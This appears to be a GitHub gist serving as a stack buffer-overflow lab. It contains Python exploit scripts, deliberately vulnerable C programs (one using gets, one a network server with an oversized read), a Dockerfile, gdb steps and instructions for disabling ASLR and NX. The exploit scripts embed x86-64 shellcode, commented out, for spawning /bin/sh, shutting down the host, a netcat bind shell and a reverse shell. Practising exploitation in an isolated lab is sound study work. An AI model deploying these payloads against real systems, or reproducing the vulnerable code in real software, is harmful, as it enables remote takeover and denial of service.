Skip to content

Instantly share code, notes, and snippets.

@willitscale
Last active March 5, 2022 07:23
Show Gist options
  • Select an option

  • Save willitscale/d8df1d308645d25a901fe1a31b80a1b4 to your computer and use it in GitHub Desktop.

Select an option

Save willitscale/d8df1d308645d25a901fe1a31b80a1b4 to your computer and use it in GitHub Desktop.
Bufferoverflow
FROM python:2
RUN apt update
RUN apt install -y gdb
RUN echo 0 > tee /proc/sys/kernel/randomize_va_space
COPY ./exploits /exploits
WORKDIR /exploits
import struct
# This is for a 64 bit architecture
# 64 bytes for the character array plus 1 byte for the LEAVE
# instruction this should take us to the RETURN instruction
padding = "\x00"*72
# Point the instruction pointer after the LEAVE instruction
eip = struct.pack("Q", 0x00007fffffffdc20)
# NOP slide to correct the runtime variable variance
# nopslide = "\x90" * 100
nopslide = ""
# Trip the code into the intel CPU debugger (also known as int3),
# prevents a segmentation fault from halting the application
# to verify we have successfully caused a buffer overflow without
# crashing the application
payload = "\xCC" * 8
# /bin/sh
# payload = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
# shutdown -h
# payload = "\x48\x31\xc0\x48\x31\xd2\x50\x6a\x77\x66\x68\x6e\x6f\x48\x89\xe3\x50\x66\x68\x2d\x68\x48\x89\xe1\x50\x49\xb8\x2f\x73\x62\x69\x6e\x2f\x2f\x2f\x49\xba\x73\x68\x75\x74\x64\x6f\x77\x6e\x41\x52\x41\x50\x48\x89\xe7\x52\x53\x51\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"
print padding + eip + nopslide + payload

PROCESS

Considerations when executing a Buffer Overflow

Linux NX
[    0.000000] NX (Execute Disable) protection: active

Boot and interrupt the GRUB menu
Edit the boot configuration, changing the "linux" line by adding these two parameters to the end of the line:
    noexec=off noexec32=off
Then boot by pressing Ctrl+x.

After booting, you can check to see if DEP/NX is turned off by running:
    dmesg | grep NX

When DEP/NX is turned off you should see something similar to this output:

# dmesg | grep NX
[    0.000000] NX (Execute Disable) protection: disabled by kernel command line option

Address space layout randomization (ASLR) is a computer security technique involved in preventing exploitation of memory corruption vulnerabilities. In order to prevent an attacker from reliably jumping to, for example, a particular exploited function in memory, ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap and libraries.

Buffer overflow protection is any of various techniques used during software development to enhance the security of executable programs by detecting buffer overflows on stack-allocated variables, and preventing them from causing program misbehavior or from becoming serious security vulnerabilities. A stack buffer overflow occurs when a program writes to a memory address on the program's call stack outside of the intended data structure, which is usually a fixed-length buffer. Stack buffer overflow bugs are caused when a program writes more data to a buffer located on the stack than what is actually allocated for that buffer. This almost always results in corruption of adjacent data on the stack, which could lead to program crashes, incorrect operation, or security issues.

https://en.wikipedia.org/wiki/Buffer_overflow_protection#Canaries

Things that can counter

Global Offset Table (GOT)
Procedure Linkage Table (PLT)

Start with

docker build . -t exploits
docker run -it --cap-add=SYS_PTRACE --security-opt seccomp=unconfined exploits /bin/bash

# disable in current session
echo 0 | tee /proc/sys/kernel/randomize_va_space

# make change permanent (across reboots)
echo "kernel.randomize_va_space = 0" > /etc/sysctl.d/01-disable-aslr.conf

GDB Documentation:

Build binary

$ gcc stack.c -fno-stack-protector -z execstack -o stack

Run GDB

$ gdb stack

Disassemble the main function to find the ret(32)/retq(64 aka return quad) instruction

(gdb) disassemble main

Create a break point when the main function returns

(gdb) break *0x0...

Define a hook-stop macro

(gdb) define hook-stop

Setup the hook

# Display the current instruction which will be executed next $eip (32) / $rip (64)
> x/1i $eip 
> x/1i $rip
# Examine 8 words as hex from the stack $esp(32)/$rsp(64) and x/8wx(32)/x8gx(64)
> x/8wx $esp
> x/8gx $rsp
# Close the hook stop
> end

Execute it

(gdb) r

The code should break at out breakpoint so let's step into the return

(gdb) si

Run the code with the alphabet

(gdb) r < alphabet

Step into what should be a segmentation fault

(gdb) si

Inspect the stack register $esp(32)/$rsp(64)

(gdb) x/s $esp
(gdb) x/s $rsp

Run it again

(gdb) r

Step into our return

(gdb) si

Inspect the registers

(gdb) info registers

Update the script with a INT3 and then run

(gdb) r < exploit

Continue the code which should show us telling the instructor to jump to the stack, hitting an int3 and if all worked you will have a SIGTRAP instead of a SIGSEGV

(gdb) c
#include <netdb.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#define MAX 80
#define MAX_BUFFER 1024
#define PORT 8080
#define SA struct sockaddr
// Function designed for chat between client and server.
void func(int sockfd)
{
char buff[MAX];
bzero(buff, MAX);
read(sockfd, buff, MAX_BUFFER);
return;
}
// Driver function
int main()
{
int sockfd, connfd, len;
struct sockaddr_in servaddr, cli;
// socket create and verification
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd == -1) {
printf("socket creation failed...\n");
exit(0);
}
else
printf("Socket successfully created..\n");
bzero(&servaddr, sizeof(servaddr));
// assign IP, PORT
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
servaddr.sin_port = htons(PORT);
// Binding newly created socket to given IP and verification
if ((bind(sockfd, (SA*)&servaddr, sizeof(servaddr))) != 0) {
printf("socket bind failed...\n");
exit(0);
}
else
printf("Socket successfully binded..\n");
// Now server is ready to listen and verification
if ((listen(sockfd, 5)) != 0) {
printf("Listen failed...\n");
exit(0);
}
else
printf("Server listening..\n");
len = sizeof(cli);
// Accept the data packet from client and verification
connfd = accept(sockfd, (SA*)&cli, &len);
if (connfd < 0) {
printf("server acccept failed...\n");
exit(0);
}
else
printf("server acccept the client...\n");
// Function for chatting between client and server
func(connfd);
// After chatting close the socket
close(sockfd);
}
import struct
# This is for a 64 bit architecture
# 64 bytes for the character array plus 1 byte for the LEAVE
# instruction this should take us to the RETURN instruction
padding = "\x00"*88
# Point the instruction pointer after the LEAVE instruction
eip = struct.pack("Q", 0x7fffffffde50)
# NOP slide to correct the runtime variable variance
# nopslide = "\x90" * 100
nopslide = ""
# Trip the code into the intel CPU debugger (also known as int3),
# prevents a segmentation fault from halting the application
# to verify we have successfully caused a buffer overflow without
# crashing the application
payload = "\xCC" * 8
# /bin/sh http://shell-storm.org/shellcode/files/shellcode-806.php
# payload = "\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
# shutdown -h http://shell-storm.org/shellcode/files/shellcode-877.php
# payload = "\x48\x31\xc0\x48\x31\xd2\x50\x6a\x77\x66\x68\x6e\x6f\x48\x89\xe3\x50\x66\x68\x2d\x68\x48\x89\xe1\x50\x49\xb8\x2f\x73\x62\x69\x6e\x2f\x2f\x2f\x49\xba\x73\x68\x75\x74\x64\x6f\x77\x6e\x41\x52\x41\x50\x48\x89\xe7\x52\x53\x51\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05"
# Bind shell with netcat http://shell-storm.org/shellcode/files/shellcode-822.php
# payload = "\x48\x31\xd2\x48\xbf\xff\x2f\x62\x69\x6e\x2f\x6e\x63\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb9\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xe9\x08\x51\x48\x89\xe1\x48\xbb\xff\xff\xff\xff\xff\xff\x2d\x65\x48\xc1\xeb\x30\x53\x48\x89\xe3\x49\xba\xff\xff\xff\xff\x31\x33\x33\x37\x49\xc1\xea\x20\x41\x52\x49\x89\xe2\x49\xb9\xff\xff\xff\xff\xff\xff\x2d\x70\x49\xc1\xe9\x30\x41\x51\x49\x89\xe1\x49\xb8\xff\xff\xff\xff\xff\xff\x2d\x6c\x49\xc1\xe8\x30\x41\x50\x49\x89\xe0\x52\x51\x53\x41\x52\x41\x51\x41\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
# Reverse Shell http://shell-storm.org/shellcode/files/shellcode-871.php
# payload = "\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x99\x0f\x05\x48\x97\xc7\x44\x24\xfc\xc0\xa8\x01\x09\x66\xc7\x44\x24\xfa\x11\x5c\xc6\x44\x24\xf8\x02\x48\x83\xec\x08\x6a\x2a\x58\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x89\xc7\x99\x88\x44\x24\xff\x48\x83\xec\x01\x52\x48\x8d\x74\x24\xf0\x80\xc2\x10\x0f\x05\x48\xb8\x64\x6f\x6f\x6d\x65\x64\x72\x61\x57\x48\x8d\x3e\x48\xaf\x74\x05\x6a\x3c\x58\x0f\x05\x5f\x48\x31\xc0\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x04\x3b\x0f\x05"
print padding + eip + nopslide + payload
#include <stdio.h>
int main() {
char buffer[64];
gets(buffer);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment